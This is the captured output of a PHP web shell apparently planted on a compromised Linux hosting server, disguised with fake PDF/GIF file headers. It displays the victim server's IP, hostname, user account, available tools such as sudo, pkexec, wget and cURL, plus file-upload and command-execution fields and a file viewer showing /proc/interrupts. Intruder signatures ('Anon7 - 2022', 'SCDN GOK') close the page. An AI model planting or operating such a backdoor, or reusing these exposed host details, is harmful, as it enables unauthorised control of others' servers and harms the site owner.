%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.247
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/interrupts
           CPU0       CPU1       CPU2       CPU3       
  0:        148          0          0          0   IO-APIC   2-edge      timer
  1:          0          9          0          0   IO-APIC   1-edge      i8042
  4:        844          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          1   IO-APIC   8-edge      rtc0
  9:          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:         15          0          0          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0   IO-APIC  16-fasteoi   i801_smbus
 22:          0          0          0          7   IO-APIC  22-fasteoi   virtio4, virtio3
 24:          0          0          0          0   PCI-MSI 32768-edge      PCIe PME, aerdrv
 25:          0          0          0          0   PCI-MSI 34816-edge      PCIe PME, aerdrv
 26:          0          0          0          0   PCI-MSI 36864-edge      PCIe PME, aerdrv
 27:          0          0          0          0   PCI-MSI 38912-edge      PCIe PME, aerdrv
 28:          0          0          0          0   PCI-MSI 40960-edge      PCIe PME, aerdrv
 29:          0          0          0          0   PCI-MSI 43008-edge      PCIe PME, aerdrv
 30:          0          0          0          0   PCI-MSI 45056-edge      PCIe PME, aerdrv
 31:          0          0          0          0   PCI-MSI 47104-edge      PCIe PME, aerdrv
 32:          0          0          0          0   PCI-MSI 49152-edge      PCIe PME, aerdrv
 33:          0          0         31          0   PCI-MSI 1048576-edge      xhci_hcd
 34:          0          0          0          0   PCI-MSI 1048577-edge      xhci_hcd
 35:          0          0          0          0   PCI-MSI 1048578-edge      xhci_hcd
 36:          0          0          0          0   PCI-MSI 1048579-edge      xhci_hcd
 37:          0          0          0          0   PCI-MSI 1048580-edge      xhci_hcd
 38:          0          0          0          0   PCI-MSI 1572864-edge      virtio2-config
 39:          0          0         17          0   PCI-MSI 1572865-edge      virtio2-virtqueues
 40:          0          4          0         26   PCI-MSI 524288-edge      virtio1-config
 41:  217778350  420264688  387626497  260143906   PCI-MSI 524289-edge      virtio1-input.0
 42:  238296413  551139498  418648801  342457246   PCI-MSI 524290-edge      virtio1-output.0
 43:          0          0          0          0   PCI-MSI 3145728-edge      virtio5-config
 44:          0          0          0          0   PCI-MSI 3145729-edge      virtio5-control
 45:          0          0          0          0   PCI-MSI 3145730-edge      virtio5-event
 46:  183843699          0          0          0   PCI-MSI 3145731-edge      virtio5-request
 47:          0  185532421          0          0   PCI-MSI 3145732-edge      virtio5-request
 48:          0          0  183804186          0   PCI-MSI 3145733-edge      virtio5-request
 49:          0          0          0  183560904   PCI-MSI 3145734-edge      virtio5-request
 50:    1909657    1470505    4302960    7259080   PCI-MSI 512000-edge      ahci[0000:00:1f.2]
 51:          0          0          0          0   PCI-MSI 16384-edge      virtio0-config
 52:   30275439   28707972   32911723   52986587   PCI-MSI 16385-edge      virtio0-control
 53:          0          0          0          0   PCI-MSI 16386-edge      virtio0-cursor
NMI:          0          0          0          0   Non-maskable interrupts
LOC: 4229839336 3364922346 4201827075  351068487   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:          2          3          2          0   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES:   40647836   41340009   40847771   40045641   Rescheduling interrupts
CAL: 2987316211 2762011862 2664796584 2607911306   Function call interrupts
TLB:   34874282   35811286   34519946   34702796   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:      91935      91935      91935      91935   Machine check polls
HYP:          0          0          0          0   Hypervisor callback interrupts
HRE:          0          0          0          0   Hyper-V reenlightenment interrupts
HVS:          0          0          0          0   Hyper-V stimer0 interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
SCDN GOK